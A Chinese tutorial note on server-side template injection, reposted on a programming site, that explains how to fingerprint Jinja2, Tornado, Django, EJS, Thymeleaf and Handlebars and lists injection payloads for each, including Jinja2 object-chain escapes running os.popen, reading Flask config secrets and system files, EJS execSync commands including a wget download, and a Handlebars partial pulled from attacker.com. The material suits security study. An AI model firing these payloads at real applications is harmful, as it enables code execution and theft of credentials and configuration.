ssti学习笔记(服务器端模板注入)

目录

一,ssti是什么

二,原理

所谓模板引擎(三列,可滑动查看)

 三,漏洞复现

1,如何判断其所属的模板引擎?

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击

读取文件

执行系统命令

加载并执行 Python 模块

(2),Tornado 模板引擎(Python)

信息获取类

读取文件

(3)Django 模板引擎(Python)

利用视图传递对象属性

绕过过滤器限制(若存在)

(4),EJS(JavaScript,用于 Node.js 的 Express 框架)

读取文件

执行系统命令

(5),Thymeleaf(Java,常用于 Spring Boot)

利用 Java 反射执行代码

利用 Spring 上下文获取 Bean

(6),Handlebars(JavaScript)

结合动态部分模板加载漏洞

结合 JavaScript 注入(若与 JavaScript 交互)


一,ssti是什么

SSTI 通常是指服务器端模板注入攻击者可以利用该漏洞在服务器端注入恶意代码或命令,从而执行非授权的操作、获取敏感信息或控制服务器

二,原理

  • 模板引擎的作用是将模板数据结合起来生成最终的 HTML 页面或其他格式的文档。正常情况下,用户输入的数据会被模板引擎按照一定的规则进行处理和显示,以确保数据的安全性和正确性。
  • 但当应用程序存在 SSTI 漏洞时,攻击者可以通过精心构造输入数据,使其被模板引擎当作代码来执行。例如,攻击者可能会在一个评论框或搜索框中输入特定的代码片段,如果应用程序没有对输入进行充分的验证和过滤,模板引擎就可能会执行这些恶意代码,从而导致漏洞被利用。

示例:搜索框中触发ssti

url处的划线部分是编码后的{ {6*6}} ,出现36便证明了页面存在ssti漏洞

所谓模板引擎

编程语言web框架模板引擎
PythonFlaskJinja2
PythonTornadoTornado 模板引擎
PythonDjangoDjango模板引擎
JavaSpring BootThymeleaf
JavaStruts2FreeMarker
JavaScriptExpress(Node.js)EJS
JavaScriptHapi(Node.js)Handlebars
PHPSymfonyTwig
PHPCodeIgniterSmarty

不同编程语言有不同的 Web 框架,每个 Web 框架对应一个模板引擎。 

注意:Tornado不但是一个框架,还是个web服务器(表中橙色那个)

 三,漏洞复现

Web 安全漏洞中遇到服务器端模板注入,需要先判断模板引擎,再根据模板引擎来构造输入。

1,如何判断其所属的模板引擎?

(1),Jinja2(Python)

简单表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Jinja2

控制结构测试:输入 {% for i in range(3) %}{ { i }}{% endfor %},若页面输出 012,进一步表明是Jinja2

过滤器测试:输入 { { 'hello'|upper }},若页面返回 HELLO,符合Jinja2语法

(2),Tornado 模板引擎(Python) 

表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Tornado模板引擎。

逻辑控制测试:输入 {% for i in [0, 1, 2] %}{ { i }}{% end %},若页面输出 012,符合Tornado语法。

(3), Django 模板引擎(Python)

简单表达式与过滤器测试:输入 { { 5|add:3 }},若页面返回 8,可能是Django模板引擎

逻辑判断测试:输入 {% if 5 > 3 %}True{% else %}False{% endif %},若页面返回 True,符合Django语法。

(4),EJS(JavaScript,用于Node.js的Express框架)

表达式输出测试:输入 <%= 5 + 3 %>,若页面返回 8,可能是EJS。

 JavaScript代码嵌入测试:输入<% for (let i = 0; i < 3; i++) { %><%= i %><% } %>,若页面输出 012,符合EJS语法。

(5),Thymeleaf(Java,常用于Spring Boot)

变量表达式测试:输入 ${5 + 3},若页面返回 8,可能是Thymeleaf。

条件判断测试(使用Thymeleaf属性):输入(在HTML标签中) <p th:if="${5 > 3}">True</p>,若页面显示 True,符合Thymeleaf语法。

(6),Handlebars(JavaScript)

变量输出测试:输入 { { someVariable }}(假设传递了 someVariable变量),若页面显示该变量的值,可能是Handlebars。

部分模板调用测试:输入 { {> partialTemplate }}(假设定义了 partialTemplate 部分模板),若页面正确渲染部分模板内容,则是Handlebars。
 

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击
  • 读取 Flask 应用的 FLAG
    • 输入:{ { url_for.__globals__['current_app'].config['FLAG'] }}
    • 原理:url_for 是 Flask 函数,__globals__ 指向其全局命名空间,current_app 是 Flask 应用实例,config 存储配置信息,攻击者借此获取敏感的 FLAG
  • 执行任意 Python 代码(通过导入模块)
    • 输入:{ { url_for.__globals__['__import__']('os').popen('ls /').read() }}
    • 原理:利用 __import__ 动态导入 os 模块,用 os.popen 执行系统命令 ls / 并读取输出。
  • 获取 Flask 应用的所有配置项
    • 输入:{ { url_for.__globals__['current_app'].config.items() }}
    • 原理:访问 config.items() 获取 Flask 应用所有配置项及对应值,可能包含数据库连接信息、API 密钥等敏感信息。
读取文件
  • 读取 /etc/hosts 文件
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/hosts').read() }}
    • 原理:与读取 /etc/passwd 类似,通过 Python 内置对象和方法定位到文件操作类,读取指定文件内容。
  • 动态指定文件路径
    • 输入:{ { request.args.file|string.__class__.__mro__[2].__subclasses__()[40](request.args.file).read() }}?file=/etc/hosts
    • 原理:利用请求参数动态指定要读取的文件路径,增加攻击的灵活性。
执行系统命令
  • 查看当前工作目录
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('pwd').read() }}
    • 原理:使用 os.popen 执行 pwd 命令,返回当前工作目录。
  • 查看系统进程信息
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ps -ef').read() }}
    • 原理:执行 ps -ef 命令,查看系统中所有进程的详细信息。
加载并执行 Python 模块
  • 导入并执行 socket 模块
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['__import__']('socket').gethostname() }}
    • 原理:通过 __import__ 函数动态导入 socket 模块,然后调用 gethostname 方法获取主机名。

    (2),Tornado 模板引擎(Python)

    信息获取类
    • 获取应用配置信息
      • 输入:{ { handler.settings }}
      • 原理:在 Tornado 框架里,handler 通常指继承自 tornado.web.RequestHandler 的请求处理类实例,settings 是 Tornado 应用程序的配置设置对象。此表达式可输出当前请求处理类实例所关联的应用配置信息,若配置信息包含敏感内容,直接输出会导致信息泄露。
    • 获取请求相关信息
      • 输入:{ { handler.request }}
      • 原理:handler.request 包含了客户端请求的详细信息,如请求方法、请求头、请求参数等。攻击者可借此了解请求的上下文,为后续攻击做准备。
    读取文件
    • 读取 /proc/version 文件(获取系统版本信息)
      • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/proc/version').read() }}
      • 原理:同 Jinja2 读取文件原理,利用 Python 内置对象和方法读取指定文件内容。

    (3)Django 模板引擎(Python)

    利用视图传递对象属性
    • 假设视图传递了 settings 对象获取数据库配置
      • 输入:{ { settings.DATABASES.default }}
      • 原理:尝试访问视图传递的 settings 对象中的数据库配置信息。
    • 假设视图传递了 request 对象获取请求信息
      • 输入:{ { request.META }}
      • 原理:获取请求的元数据信息,可能包含客户端 IP、请求头信息等。
    绕过过滤器限制(若存在)
    • 假设存在一个自定义过滤器限制了输出
      • 输入:{ { 'a'|add:'b'|add:'c' }}
      • 原理:通过多个过滤器组合绕过单一过滤器的限制,拼接字符串。

    (4),EJS(JavaScript,用于 Node.js 的 Express 框架)

    读取文件
    • 读取项目根目录下的 package.json 文件
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync('./package.json', 'utf8')) %>
      • 原理:使用 Node.js 的 fs 模块读取项目根目录下的 package.json 文件内容。
    • 读取用户主目录下的 .bashrc 文件(Linux 系统)
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync(process.env.HOME + '/.bashrc', 'utf8')) %>
      • 原理:通过 process.env.HOME 获取用户主目录路径,然后读取 .bashrc 文件内容。
    执行系统命令
    • 创建一个新文件
      • 输入:<% var { execSync } = require('child_process'); execSync('touch /tmp/test.txt') %>
      • 原理:使用 child_process 模块的 execSync 方法执行 touch 命令创建一个新文件。
    • 下载一个文件(使用 wget
      • 输入:<% var { execSync } = require('child_process'); execSync('wget http://example.com/file.txt -O /tmp/downloaded.txt') %>
      • 原理:执行 wget 命令从指定 URL 下载文件并保存到本地。

    (5),Thymeleaf(Java,常用于 Spring Boot)

    利用 Java 反射执行代码
    • 获取系统属性
      • 输入:${T(java.lang.System).getProperties()}
      • 原理:通过 Java 反射调用 System 类的 getProperties 方法获取系统属性。
    • 执行 Java 代码创建文件
      • 输入:${T(java.io.File).createTempFile('test', '.txt')}
      • 原理:使用反射调用 File 类的 createTempFile 方法创建一个临时文件。
    利用 Spring 上下文获取 Bean
    • 假设存在一个名为 userService 的 Bean
      • 输入:${@userService.getUserById(1)}
      • 原理:通过 Spring 表达式语言(SpEL)从 Spring 上下文中获取 userService Bean,并调用其 getUserById 方法。

    (6),Handlebars(JavaScript)

    结合动态部分模板加载漏洞
    • 尝试读取不同目录下的文件
      • 输入:{ {> ../../../../var/log/syslog }}(假设应用未对路径进行严格验证,适用于 Linux 系统)
      • 原理:利用部分模板加载机制,尝试读取系统日志文件。
    • 尝试加载远程文件(若应用存在协议绕过漏洞)
      • 输入:{ {> http://attacker.com/malicious_template.hbs }}
      • 原理:如果应用在加载部分模板时未对 URL 进行严格验证,可能会加载远程恶意模板。
    结合 JavaScript 注入(若与 JavaScript 交互)
    • 假设 Handlebars 模板用于生成 JavaScript 代码
      • 输入:{ { '" + alert("XSS") + "' }}
      • 原理:如果模板输出被嵌入到 JavaScript 代码中,可能会导致 XSS 漏洞,弹出警告框。

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/69344.shtml

    如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    【前端】Python 闭包与JavaScript闭包的实现差异

    目录 Python 闭包JavaScript 闭包 推荐超级课程&#xff1a; Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战 Python 闭包 如何定义&#xff1a; 在一个函数内部定义另一个函数&#xff0c;内部函数引用外部函数的变量。 def outer_function(text):…

    【JVM详解二】常量池

    一、常量池概述 JVM的常量池主要有以下几种&#xff1a; class文件常量池运行时常量池字符串常量池基本类型包装类常量池 它们相互之间关系大致如下图所示&#xff1a; 每个 class 的字节码文件中都有一个常量池&#xff0c;里面是编译后即知的该 class 会用到的字面量与符号引…

    人工智能入门 数学基础 线性代数 笔记

    必备的数学知识是理解人工智能不可或缺的要素&#xff0c;今天的种种人工智能技术归根到底都建立在数学模型之上&#xff0c;而这些数学模型又都离不开线性代数&#xff08;linear algebra&#xff09;的理论框架。 线性代数的核心意义&#xff1a;世间万事万物都可以被抽象成某…

    C# Winform怎么设计串口,客户端和相机控件界面显示

    首先我们必须把这个类创建好 INIAPI using System; using System.Text; using System.Runtime.InteropServices;namespace Ini {public class IniAPI{#region INI文件操作/** 针对INI文件的API操作方法&#xff0c;其中的节点&#xff08;Section)、键&#xff08;KEY&#x…

    【大数据技术】用户行为日志分析(python+hadoop+mapreduce+yarn+hive)

    用户行为日志分析(python+hadoop+mapreduce+yarn+hive) 搭建完全分布式高可用大数据集群(VMware+CentOS+FinalShell) 搭建完全分布式高可用大数据集群(Hadoop+MapReduce+Yarn) 本机PyCharm远程连接虚拟机Python 搭建完全分布式高可用大数据集群(MySQL+Hive)

    在 Windows 上使用 ZIP 包安装 MySQL 的详细步骤

    以下是使用官方 ZIP 包在 Windows 上安装 MySQL 的详细步骤&#xff0c;确保能通过 mysql -uroot -p 成功连接。 步骤 1&#xff1a;下载 MySQL ZIP 包 访问 MySQL 官方下载页面&#xff1a; https://dev.mysql.com/downloads/mysql/选择 Windows (x86, 64-bit), ZIP Archive&…

    前端学习-页面尺寸事件以及阻止默认行为(三十三)

    目录 前言 页面尺寸事件 语法 检测屏幕宽度 获取宽高 元素尺寸的位置 总结 示例代码 阻止默认行为 阻止冒泡 语法 阻止冒泡如何做 阻止元素默认行为如何做 总结 前言 晚上好各位 页面尺寸事件 会在窗口尺寸改变的时候触发条件 语法 window.addEventListener(…

    el-table表格点击单元格实现编辑

    使用 el-table 和 el-table-column 创建表格。在单元格的默认插槽中&#xff0c;使用 div 显示文本内容&#xff0c;单击时触发编辑功能。使用 el-input 组件在单元格中显示编辑框。data() 方法中定义了 tableData&#xff0c;tabClickIndex: null,tabClickLabel: ,用于判断是否…

    Windows逆向工程入门之汇编环境搭建

    公开视频 -> 链接点击跳转公开课程博客首页 -> ​​​链接点击跳转博客主页 Visual Studio逆向工程配置 基础环境搭建 Visual Studio 官方下载地址安装配置选项(后期可随时通过VS调整) 使用C的桌面开发 拓展可选选项 MASM汇编框架 配置MASM汇编项目 创建新项目 选择空…

    redis专栏解读

    本篇起导读、目录的作用&#xff0c;介绍redis专栏涉及的内容以及目录。 redis是我们日常开发中常用的NOSQL数据库&#xff0c;本专栏讲讲解redis的内部实现原理&#xff0c;不会侧重于API的使用&#xff0c;遇到API使用上会简单概括。本专栏大致会分为基础部分&#xff08;数…

    【华为OD机考】华为OD笔试真题解析(1)--AI处理器组合

    一、题目描述 某公司研发了一款高性能AI处理器&#xff0c;每台物理设备具备8颗AI处理器&#xff0c;编号分别为0、1、2、3、4、5、6、7。 编号0~3的处理器处于同一链路中&#xff0c;编号4~7的处理器处于另外一个链路中&#xff0c;不同链路中的处理器不能通信&#xff0c;如…

    网络安全-HSTS

    什么是HSTS&#xff1f; HTTP严格传输安全协议&#xff08;HTTP Strict Transport Security&#xff0c;简称&#xff1a;HSTS&#xff09; 是互联网安全策略机制。网站可以选择使用HSTS策略&#xff0c;来让浏览器强制使用HTTPS与网站进行通信&#xff0c;以减少会话劫持风险。…

    手写一个C++ Android Binder服务及源码分析

    手写一个C Android Binder服务及源码分析 前言一、 基于C语言编写Android Binder跨进程通信Demo总结及改进二、C语言编写自己的Binder服务Demo1. binder服务demo功能介绍2. binder服务demo代码结构图3. binder服务demo代码实现3.1 IHelloService.h代码实现3.2 BnHelloService.c…

    DeepSeekMoE 论文解读:混合专家架构的效能革新者

    论文链接&#xff1a;DeepSeekMoE: Towards Ultimate Expert Specialization in Mixture-of-Experts Language Models 目录 一、引言二、背景知识&#xff08;一&#xff09;MoE架构概述&#xff08;二&#xff09;现有MoE架构的问题 三、DeepSeekMoE架构详解&#xff08;一&a…

    人工智能领域-CNN 卷积神经网络 性能调优

    在自动驾驶领域&#xff0c;对卷积神经网络&#xff08;CNN&#xff09;进行性能调优至关重要&#xff0c;以下从数据处理、模型架构、训练过程、超参数调整和模型部署优化等多个方面为你详细介绍调优方法&#xff0c;并给出相应的代码示例。 1. 数据处理 数据增强&#xff1…

    [每周一更]-(第133期):Go中MapReduce架构思想的使用场景

    文章目录 **MapReduce 工作流程**Go 中使用 MapReduce 的实现方式&#xff1a;**Go MapReduce 的特点****哪些场景适合使用 MapReduce&#xff1f;**使用场景1. 数据聚合2. 数据过滤3. 数据排序4. 数据转换5. 数据去重6. 数据分组7. 数据统计8.**统计文本中单词出现次数****代码…

    【Pandas】pandas Series var

    Pandas2.2 Series Computations descriptive stats 方法描述Series.abs()用于计算 Series 中每个元素的绝对值Series.all()用于检查 Series 中的所有元素是否都为 True 或非零值&#xff08;对于数值型数据&#xff09;Series.any()用于检查 Series 中是否至少有一个元素为 T…

    Http 的响应码有哪些? 分别代表的是什么?

    HTTP 状态码分为多个类别&#xff0c;下面是常见的 HTTP 状态码及其含义&#xff0c;包括 3xx 重定向状态码的详细区别&#xff1a; &#x1f4cc; HTTP 状态码分类 分类状态码范围说明1xx100-199信息性状态码&#xff0c;表示请求已被接收&#xff0c;继续处理2xx200-299成功…

    【工具篇】深度剖析 Veo2 工具:解锁 AI 视频创作新境界

    在当下这个 AI 技术日新月异的时代,各种 AI 工具如雨后春笋般涌现,让人目不暇接。今天,我就来给大家好好说道说道谷歌旗下的 Veo2,这可是一款在 AI 视频创作领域相当有分量的工具。好多朋友都在问,Veo2 到底厉害在哪?好不好上手?能在哪些地方派上用场?别着急,今天我就…

    slam学习笔记8---fastlio2运行效率高缘由

    前言&#xff1a;lio里面&#xff0c;fastlio2的精度和速度表现很显眼。有必要总结一下运行效果高的缘由。参考各大家&#xff0c;从个人对fastlio2理解&#xff0c;汇总所得。 Fast-LIO2 运行速度快的主要原因可以归结为以下几个方面&#xff1a; &#x1f539; 1. 采用增量…